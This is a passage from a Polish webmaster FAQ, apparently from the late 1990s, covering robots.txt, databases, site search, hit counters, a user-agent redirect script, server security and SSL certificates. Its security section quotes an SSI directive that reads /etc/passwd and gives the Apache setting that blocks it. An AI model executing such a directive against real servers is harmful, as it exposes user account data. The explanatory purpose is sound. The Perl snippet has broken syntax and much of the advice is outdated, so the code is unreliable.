(używając pola nagłówka Host: z HTTP/1.1) pozwala poza tym zdefiniować kilka serwerów wirtualnych na jednym numerze IP (choć niekoniecznie jest to zalecane --- spora część działających (choć chyba już żadna ze sprzedawanych/rozprowadzanych) przeglądarek używa jedynie HTTP/1.0 --- podczas, gdy jest to jedna z własności HTTP/1.1 ). Virtual Web mini HOWto wirtualny serwer w NCSA wirtualny serwer w Apache Należy pogodzić się z istnieniem rozmaitych robotów w pajęczynie ;-). To dzięki nim można przeszukiwać pajęczynę, to dzięki nim możliwe jest tworzenie zindywidualizowanych usług dostarczających informacje, a nie dane, wreszcie sprawdzanie poprawności powiązań pomiędzy dokumentami. A to, że czasem mają ochotę ściągnąć dynamicznie tworzone strony, albo rozmaite nie przeznaczone do tego zasoby (jak na przykład nieopatrznie ,,odsłonięty'' katalog z wszystkimi RFC?) Jest na to rada. Już w początkach WWW (czyli w lipcu 1994 r. ;-) została opracowana nieformalna specyfikacja for Robot Exclusion do które stosują się wszystkie ,,przyzwoite'' roboty. Opiera się on na sprawdzeniu przez robota istnienia pliku /robots.txt zawierającego polecenia: User-agent: (jako parametr nazwa robota * znaczy --- wszystkie) Disallow: /nazwa/zasobu (jeśli bez nazwy znaczy, że robot może zindeksować wszystko) Poza tym istnieją (jeszcze niezbyt powszechnie uznane) zaklęcia < META takie jak np < META name="robots" CONTENT="NOINDEX"< A Standard for Robot Exclusion The Standard for Robot Exclusion Standard for Robot Exclusion Revised Hypertext Links in HTML - W3C Working Draft O konfiguracji Apache można przeczytać w następujących dokumentach: dokumentacja do Apache Internetowy Indianin, czyli instalacja APACHE'a ``Webmaster. Podręcznik administratora'' _ Jakiego motoru bazy danych użyć do udostępniania danych przy pomocy WWW Odpowiedź brzmi pewnie: jednego z dostępnych ;-) Ale trzeba wybrać jeden produkt. Ja osobiście polecałbym PostgreSQL na Uniksie (a zwłaszcza Linuksie lub FreeBSD) Dlaczego? relacyjna rozszerzalna cechy obiektowe dostęp przy pomocy podzbioru SQL istnieje kilka różnych interface do WWW dostępna na zasadach Licencji BSD Poza tym niektórzy zalecają: mSQL (choć dostępna jest za darmo jedynie dla instytucji edukacyjnych) mySQL --- T.c.X. Data Konsult wraz PHP [patrz też: ,,Lab Note A Contact Database using MySQL and PHP By Mike Miller''] dostępny teoretycznie za darmo, choć na dziwnych zasadach MICRO/CDS/ISIS rodem z UNESCO. Oracle Sybase Essentia MS SQL z ASP i innymi technikami programistycznymi Microsoftu Michał Mosiewicz Linux i bazy danych (w:) Linux+ 3/1997 (ISSN 1427-55-62) Aby udostępnić przeszukiwanie swojego serwera można: oczywiście taka czynność wiąże się z ryzykiem dociążenia maszyny. Ale czego się nie robi dla odbiorców naszej informacji ;-). Z czego można wybierać? ht://Dig dość mocno dostosowywalna, pozwala na tworzenie własnych list słów nie porządanych, działa po HTTP (nie jak inne przeszukując system plików). Stosunkowo szybka, pozwala ograniczać przestrzeń poszukiwań. SWISH WebGlimpe Webinator Ma możliwość dowolnego formatowania wyników za pomocą texis specjalnego języka. Są gotowe szablony, wystarczy tylko trochę przerobić i już ma się własny wygląd. Wersje tylko skompilowane, ale na wiele systemów. freeWais Exite DEC AltaVista Microsoft Index Server 2.0 W wypadku niektórych publicznie dostępnych usług przeszukiwawczych możliwe jest zawężenie poszukiwań określonej klasy URL. Nic (poza zdrowym rozsądkiem i potencjalnym protestem ich właścicieli) nie stoi na przeszkodzie napisaniu odpowiedniej formatki wyszukującej używającej np. HotBot lub InfoSeek PL. From: Tomek Piłat <poncki@PoncLand.XYZ.Lublin.PL> From: Paweł Więcek <coven@pwr.wroc.pl> Nie należy tego robić ponieważ, zazwyczaj, liczniki kłamią, nie uwzględniając odwołań do strony przez Proxy-Cache, powodują niepotrzebne obciążenie serwera, i jest przejawem niepotrzebnego efekciarstwa. Jeśli jednak te argumenty są nie-przekonujące polecam jeden z już napisanych programów licznika: Counter by WebTools ICount Tracker Count.cgi --- bardzo popularny (choć w poprzednich wersjach zawiera błąd pozwalający zdalnie zdobyć prawa administratora) albo skorzystanie z opisu autorstwa Tomasza Piłata (sprawdzony jedynie z NSCA HTTPd 1.4. i Apache i działający na bazie Server Side Include --- wymaga więc włączenia tych opcji w konfiguracji serwera): należy założyć w katalogu gdzie mamy stronę, do której chcemy liczyć dostępy plik .htaccess AddType text/x-server-parsed-html index.html AddType application/x-httpd-cgi count.cgi - gdzie index.html to nazwa tej strony, a może zaistnieć potrzeba zmiany ścieżki do PERLa --- to jest #!/usr/bin/perl Najłatwiej sprawdzić, gdzie jest PERL pisząc: whereis perl lub which perl Wykonujemy co następuje: W pliku count znajdować się będzie liczba odwiedzin. Umieszczamy na stronie cos takiego: Te strone odwiedzilo juz gosci! Uwaga cenzora: powinno być: Te strone pobrano juz razy od dnia zainstalowania licznika lub jego resetowania. Alternatywnie można wykorzystywać oferowane przez kilka firm darmowe ,,serwery liczników'': Darmowe liczniki z WebMedia Count @ Inet.com.pl lub (najbardziej wiarygodnie i najsensowniej) sporządzić statystyki dostępów na podstawie logów: webalizer analog (jeden z lepszych dostępnych jako GNU analizatorów logów, posiada polską wersję interface) WebTrends Log Analyser (GUI --- działający na Win32 --- analizator różnych typów logów pozwalający na dość szczegółową analizę w/g popularnych kryteriów) From: mimo@InfoData.com.PL (Michał Mosiewicz) Należy na stronie początkowej takiego serwisu sprawdzić zawartość zmiennej CGI o nazwie HTTP_USER_AGENT a następnie wskazać lokalizację zależną od wersji przeglądarki. Poniżej znajduje się prosty skrypt w perlu mający realizować coś takiego: #!/usr/bin/perl $ENV('HTTP_USER_AGENT') =~ /MSIE/ && do ( print "Location: http://specjalnie.dla.misia/\n\n"; exit; ) print "Location: http://dla.innych/\n\n"; _ Problem bezpiecznego nawigowania po pajęczynie został omówiony w rozdziale Bezpieczne nawigowanie. Spróbuję tutaj opisać jedynie to co dotyczy dostawców informacji, i usług związanych z udostępnianiem danych. Bezpieczeństwo w tym kontekście rozumiem jako działania mające na celu ochronę udostępniania usług, dbania o autentyczność dostarczanej informacji oraz o zachowanie prywatności i poufności na poziomie wymaganym przez użytkowników. Istnieje wiele ,,uczonych'' definicji bezpieczeństwa systemów komputerowych. Chyba każda wymienia następujące czynniki opisujące stan bezpieczeństwa systemu teleinformatycznego: poufność uwierzytelnienie --- zapewnienie autentyczności informacji i osób nienaruszalność --- zapewnienie integralności komunikacji niezaprzeczalność --- niemożność zaprzecznia faktowi wysłania/odebrania informacji kontrola dostępu --- możliwość kontrolowania dostępu poprzez identyfikacje i uwierzytelnienia dyspozycyjność --- ograniczanie skutków ataki Jednocześnie ma to niewiele wspólnego z codzienną, ,,doświadczalną'' praktyką. Definicje te pomocne są w czasie tworzenia polityki bezpieczeństwa, czy szerzej polityki wykorzystania zasobów informatycznych firmy. Na co dzień jednak pozostaje raczej trzymanie się bardziej praktycznych wytycznych --- formułowanych właśnie w takich dokumentach jak polityka bezpieczeństwa, na stworzenie której zwykle jednak nie ma czasu i chęci ;-). Z punktu widzenia administratora systemu serwer WWW (wraz z innymi czasem potrzebnymi serwisami takimi jak np. SQL, SMTP, FTP czy jakaś forma zdalnego terminala) jest jeszcze jedną usługą którą trzeba zarządzać i kontrolować. Do tego dochodzą jeszcze problemy związane z rozmaitymi aplikacjami wykonywanymi po stronie serwera (CGI, SSI, rozmaite inne ,,server side parsed Language'' takie jak PHP3 lub ASP) oraz problem dostępności usługi z zewnątrz oraz kłopoty związane z jej udostępnianiem. Internet jako ,,sieć sieci'' powoli przestaje istnieć. Powstają sieci prywatne ze strzeżonym wyjściem na zewnątrz i umieszczonym na zewnątrz serwerem informacyjnym/komunikacyjnym. Z punktu widzenia webmastera (czyli administratora tej konkretnej usługi jaką jest serwer WWW) poza funkcjonowaniem całości serwera istotne są takie elementy jak ciągłość działania kluczowych serwisów, niezawodność i stabilność aplikacji. Do zadań obydwu należy wymagana prawem i umowami ochrona danych osobowych klientów (,,Ustawa z dnia 29 sierpnia 1997 roku o ochronie danych osobowych'') a także zapewnienie odpowiedniej autoryzacji dostępu do zasobów. Można stwierdzić, że niezależnie od stosunkowo wysokich kosztów dzierżawy powierzchni dyskowej u ISP być może opłacalną jest rezygnacja z własnego serwowania dokumentów i powierzenie tego bardziej fachowym siłom --- mogącym zapewnić nie tylko serwer WWW ale i jakąś formę reasekuracji. Jeśli jednak nadal jesteś zdecydowany samodzielnie udostępniać swe informacje... spróbuj pamiętać o następujących radach: śledź na bieżąco informacje na temat wykrytych przez producenta i użytkowników luk w bezpieczeństwie używanych przez Ciebie systemów operacyjnych. Pomocne mogą być przy tym CERT Advisories oraz listy dyskusyjne i dystrybucyjne takie jak bugtraq, ciac-users, best-of-security czy (w wypadku MS Windows NT) ntbugtraq. uruchamiaj jedynie tu usługi które są niezbędne, starając się uruchamiać demony z jak najmniejszymi uprawnieniami opracuj i przećwicz instrukcję postępowania w sytuacjach awaryjnych takich jak na przykład: utrata danych (z powodu np. awarii jednego dysków) włamania na konto administratora, webmastera utraty/poważnego uszkodzenia większości sprzętu pamiętaj o regularnie wykonywanych kopiach zapasowych bo: ,,Ci, którzy zapominają o przeszłości są na nią skazani'' (George Santayana -- ``Life of Reason'') rozważ możliwość umieszczenia całej swej sieci za firewallem (wpuszczając tylko część połączeń) [inna rzecz, że jeśli potrzebujesz na swe wewnętrzne potrzeby takich narzędzi Uniksowych jak NIS czy RPC lub Windowsowych SMB/NetBIOS over TCP bądź DOM jakaś forma filtrowania pakietów na routerze brzegowym jest niezbędna]. The World Wide Web Security FAQ Lincoln D. Stein RFC 2196 --- ``Site Security Handbook'' strony Netscape poświęcone bezpieczeństwu strony Microsoft`u poświęcone bezpieczeństwu Netsurfer Focus poświęcone bezpieczeństwu sieci komputerowych COAST : Computer Operations, Audit and Security Technology (na Purdue University) Computer Security, Law & Privacy Gene Spafforda --- współautora ``Bezpieczeństwo w Unixie i Internecie'' UNIX Computer Security Checklist opracowana przez Australijski CERT Internet Firewalls Frequently Asked Questions Marcus J. Ranum NIST Computer Security Resource Clearinghouse oraz Federal Information Processing Standards archiwa listy Bugtraq służącej dyskusji o błędach w oprogramowaniu Uniksowym Computer Security Technology Center's Computer and Network Security Resources. NT BugTraq archiwa listy poświęconej bezpieczeństwu MS Windows NT Almost Everything You Ever Wanted To Know About Security (comp.securty.misc FAQ) CERT/CC NASK CERT Zasady zgłaszania nadużyć w sieci TPnet Jedną z częściej spotykanych form ataku (a na pewno najbardziej spektakularną) w ostatnich latach były te wymierzone w prezentowane na zewnątrz systemy informacyjne takie jak WWW. Przy czym część ataków możliwa była dzięki błędom w aplikacjach działających po stronie serwera WWW: czy to programu CGI, czy modułu serwera. Dlatego należy dokładnie przemyśleć to jakie programy będą wykonywane po stronie serwera, czy są one w wystarczającym stopniu przetestowane, przede wszystkim pod kątem zachowania wobec niestandardowych nieoczekiwanych danych (mających np. doprowadzić do wysłania /etc/passwd na adres potencjalnego włamywacza), a także tego czy operują na przewidzianych dla nich danych. ,,The World Wide Web Security FAQ'' Lincoln D. Stein zawiera listę znajdujących się w powszechnym użyciu programów CGI zawierających błędy mogące naruszyć integralność systemu. Znaleźć tam również można informacje w jaki sposób pisać ,,bezpieczne'' programy CGI. Kolejnym potencjalnym problemem są skrypty wykorzystywane przez użytkowników (tutaj być może rozwiązaniem są: pakiet cgiwrap Nathana Neulingera --- pozwalający na wykonywanie programów CGI z uprawnieniami użytkownika nie zaś serwera. (przy czym, jeśli serwer po starcie ustawia się jako nobody może być to forma obniżania bezpieczeństwa systemu, kosztem wyższej funkcjonalności). Sverre H. Huseby suidcgi Do innej kategorii zagrożeń należą te tworzone przez SSI. Część parsowalnych przez serwer dyrektyw może odwoływać się do wyjścia z wykonywanych programów bez niemal żadnej kontroli nad tym co użytkownicy robią --- np. <--#exec cmd="/bin/cat /etc/passwd"--> pozwala na serwerach uniksowych przechwycić bazę danych użytkowników... w Apache do zablokowania tej opcji służy parametr IncludesNOEXEC dyrektywy Options Kolejnym zagrożeniem, związanym ze z aplikacjami uruchamianymi po stronie serwera są... poprzednie wersje skryptów, zapisywane przez edytor jako kopia (np. ViM zapisuje kopie edytowanych plików do *%E7). Przy czym kopia ta jest zwykle serwowana nie jako wynik programu, a jako dokument (ponieważ ma inne rozszerzenie), udostępniając potencjalnemu włamywaczowi sporo informacji o systemie. Paul Phillips Safe CGI FAQ Michael Van Biesbrouck CGI Security Tutorial Na zagrożenia bezpieczeństwa powodowane przez serwery HTTP (i generalnie oprogramowanie ,,z drugiej ręki'') nie ma mocnych. Serwery HTTP w swej podstawowej konfiguracji nie są zbyt skomplikowanymi systemami. Jednak po dołożeniu rozmaitych (nieraz potrzebnych;-)) usług okazuje się że poziom skomplikowania aplikacji (z jednej strony system operacyjny, z drugiej serwery, wspomagające oprogramowanie: dedykowane serwerowi WWW interpretatory, programy --- zwłaszcza CGI) wzrasta w sposób niekontrolowany... Śledzenie informacji dostępnych w sieci (na listach programistycznych dotyczący danego oprogramowania, na bugtraq i ntbugtraq) staje się szczególnie istotne, gdy posiadamy skomplikowany system bazujący w dużej mierze cudzym, a zarazem dość rozpowszechnionym oprogramowaniu (pojawiają się większe możliwość znalezienia ,,exploita'' na nasz system i serwer) Istotna jest poprawna konfiguracja oprogramowania. Poprawna to znaczy taka by zapewniała odpowiednie środowisko pracy przy zachowaniu porządanej funkcjonalności. Do takich podstawowych środków należy zaostrzenie praw dostępu do kluczowych plików konfiguracyjnych (tak by dla ,,normalnych'' użytkowników były dostępne co najwyżej w trybie readonly , albo zupełnie nieczytelne). Jeszcze wcześniej należy nałożyć potrzebne niekiedy założenie wszystkich może się nieciekawie skończyć --- instalujemy wówczas poprawione pliki bez niezbędnego do działania środowiska. łaty systemowe (pochodzące od producentów: systemu i używanego oprogramowania) --- przy czym często łata == wymiana danego komponentu na nowszy posiadający kolejny błąd. ;-(. Lecz z drugiej strony część serwerów bez nich jest niemal bezbronna: np. MS IIS 3.0. bez tzw. hotfixów bardzo łatwo może zostać doprowadzony do Denial of Service . Kolejnym krokiem może być ustawienie nie do końca typowych (i dostępnych na wszystkich systemach) rozszerzonych praw do pliku --- np. na Linuksie warto zapoznać się z podręcznikiem systemowym polecenia chattr i ustawić dla logów parametr -----a- , zaś dla plików konfiguracyjnych ----i-- . Wydaje mi się, że warto zabronić wyświetlania zawartości katalogów wobec braku pliku domyślnego (wiedza o rzeczywistych identyfikatorach użytkowników może być przydatna włamywaczom) zabronić wykonywania symbolic link (choć chyba lepiej zezwolić o ile właścicielem pliku do którego wiedzie odniesienie i odnośnika jest ten sam użytkownik (w wypadku Apache jest to dyrektywa SymLinksIfOwnerMatch Ewentualnie można dać użytkownikom prawo zmiany tych parametrów w niektórych katalogach, lub ustawić samemu w plikach konfiguracyjnych serwera dla pewnych katalogów --- wykorzystując dyrektywę <Directory ścieżka> Security tips @ Apache From: kravietz@ceti.com.pl (Paweł Krawczyk) Trzeba uruchomić serwer WWW z wbudowaną obsługą SSL, wygenerować dla niego certyfikat, a następnie zapłacić za podpisanie tego certyfikatu jednemu z Urzędów Certyfikujacych (Certifying Authorities) Najpopularniejsze serwery obsługujące SSL that to: Apache-SSL, Stronghold, Microsoft IIS, Netscape Commerce i Netscape Enterprise, Roxen Zeus Raven SSL Lotus Domino IBM ICSS Autor tego opracowania z powodzeniem wykorzystuje na firmowym WWW serwer Apache-SSL. W tym wypadku oprócz samego serwera potrzebne jest także zaplecze w postaci SSLeay Decydując się na komercyjny serwer należy się dokładnie dowiedzieć czy nie jest on objęty ograniczeniami eksportowymi, żeby nie kupić kota w worku (czyli serwera obsługującego klucze o maksymalnej wielkości 40 bitów). Ograniczeniami tymi objęte są serwery wyprodukowane w USA, ze względu na amerykańskie ograniczenia eksportu technik kryptograficznych. SSLeay jest zestawem programów i bibliotek stanowiących implementację procedur SSL 2.0 (wersje do 0.6.x), SSL 3.0 (od 0.8.x), oraz TLS 1.0 (od 0.9.x). SSLeay służy do generowania oraz zarządzania kluczami i certyfikatami, pozwala także na podpisywanie certyfikatów (ma funkcje CA). Z SSLeay korzysta m.in. Apache-SSL. Najbardziej godne polecenia opisy SSLeay: SSLeay FAQ Opis SSLeay według TAMU Nie. Taka jest konsekwencja centralnego zarządzania certyfikatami w SSL. Certyfikat autoryzowany na podstawie przedstawionych przez jego posiadacza dokumentów i innych dowodów tożsamości jest naturalnie bardziej godny zaufania niż wygenerowany samodzielnie przez administratora serwera. Różne przeglądarki zachowują się różnie po wejściu na serwer legitymujący się certyfikatem podpisanym przez nieznanego CA: Netscape wypisuje ostrzeżenie i pozwala na zaakceptowanie oraz dodanie otrzymanego certyfikatu do swojej listy MSIE w wersjach starszych niż 4.x wypisuje ostrzeżenie i odmawia połączenie z serwerem Lynx w ogóle nie sprawdza certyfikatów Dwa pierwsze programy nie sprawiają natomiast problemów gdy uprzednio otrzymają certyfikat CA, który podpisał certyfikat danego serwera. Certyfikat CA powinien być plikiem w formacie DER typu application/x-x509-ca-cert Sposób jego generowania i udostępniania przeglądarkom jest opisany materiałach TAMU Instytucje podpisujące certyfikaty serwerów oraz wydające certyfikaty osobiste różnią się przede wszystkim regulaminem (rodzaj serwera, wymagane dokumenty) i ceną. Najpopularniejszym --- i jednym z najdroższych CA---jest VeriSign. Jego certyfikaty akceptują wszystkie wersje Netscape i MSIE. Innym popularnym CA jest firma Thawte Consulting, która bierze za to 100 USD i jej certyfikaty są rozpoznawane przez wszystkie przeglądarki. Thawte certyfikuje także Apache-SSL. Poza tym: EuroSign Computer Security Technologies CompuSource i inni. Przegląd systemów certyfikacji: X.509, CA, PGP i SKIP Wprowadzenie do SSL i systemów certyfikacji przy wykorzystaniu SSLeay SSLeay FAQ Lista dyskusyjna SSL-Talk Inne aplikacje oparte o SSLeay --- telnet, ftp i in. Shen (CERN) Private Communication Technology - PCT (Microsoft) S-HTTP (EIT i RSA) Istniejące propozycje można podzielić na dwa rodzaje: protokoły warstwy transportowej (SSL, TLS, PCT) i warstwy aplikacyjnej (Shen, S-HTTP). Pierwsze z nich działają tuż nad warstwą TCP/IP i mogą służyć do przenoszenia różnych protokołów wyższych warstw --- FTP, POP3, SMTP oraz HTTP. Nic nie stoi także na przeszkodzie, by np. protokół S-HTTP działał na połączeniu zabezpieczonym przez SSL. Kwestie bezpiecznych protokołów WWW wyjaśnia dobrze artykuł The Race to Secure Cyberspace Dano Garsona   Rafałowi Maszkowskiemu za uwagi i za puszczenie robota wysyłającego tekst na grupę pl.comp.www Markowi Bączkowi za miejsce w pajęczynie Grzegorzowi Staniakowi za cenne uwagi i fragmenty tekstu --- zwłaszcza o SGMLu, hipertekście i Sieci... Piotrowi Tęczyńskiemu za tropienie błędów i błędzików (nie tylko merytorycznych) Arturowi Czechowskiemu Wojciechowi Myszce za uwagi i podejście do problemów polskiej Sieci ;-) Pawłowi Więckowi za informacje o serwerach, ViMie i Linux Debian/GNU. Wojtkowi Sylwestrzakowi za W3 cache i fragmenty tekstu mu poświęcone. Tomaszowi (Ponckiemu) Piłatowi za fragment o licznikach, URLe, SWATa, PoncLand i wiele innych rzeczy ;-) Jarosławowi Zielińskiemu za cenne uwagi i ,,Projekt WInter'' Pawłowi Krawczykowi (KravietZ) za CETI, fragmenty tekstu poświęcone SSL i ograniczaniu dostępu do serwera. Normanowi Walsh za DocBook i ``Modular DocBook Stylesheet'' wszystkim tworzącym (X)Emacsa a zwłaszcza Lennartowi Staflin za tryb PSGML Pawłowi Wimmerowi za ,,Kurs HTMLa'' i niezrozumiałe uwielbienie dla Windy ;-) Krzysiowi Leszczyńskiemu za listę sgml@camk.edu.pl kurs Perla i PLUG Linusowi Torvalds :-) za Linuksa Free Software Foundation za GNU Public Licence (GPL) v. 2.0 Charlesowi F. Goldfarb za SGML Timowi Berners-Lee za pomysł pajęczyny... wszytkim pracującym nad SGMLTools Bramowi Moolenaarowi za ViMa a zwłaszcza wersję 5.x. Jimowi Clarkowi za SP i Jade Tillmannowi Steinbrechergowi za UNTGZ i wielu, wielu innym...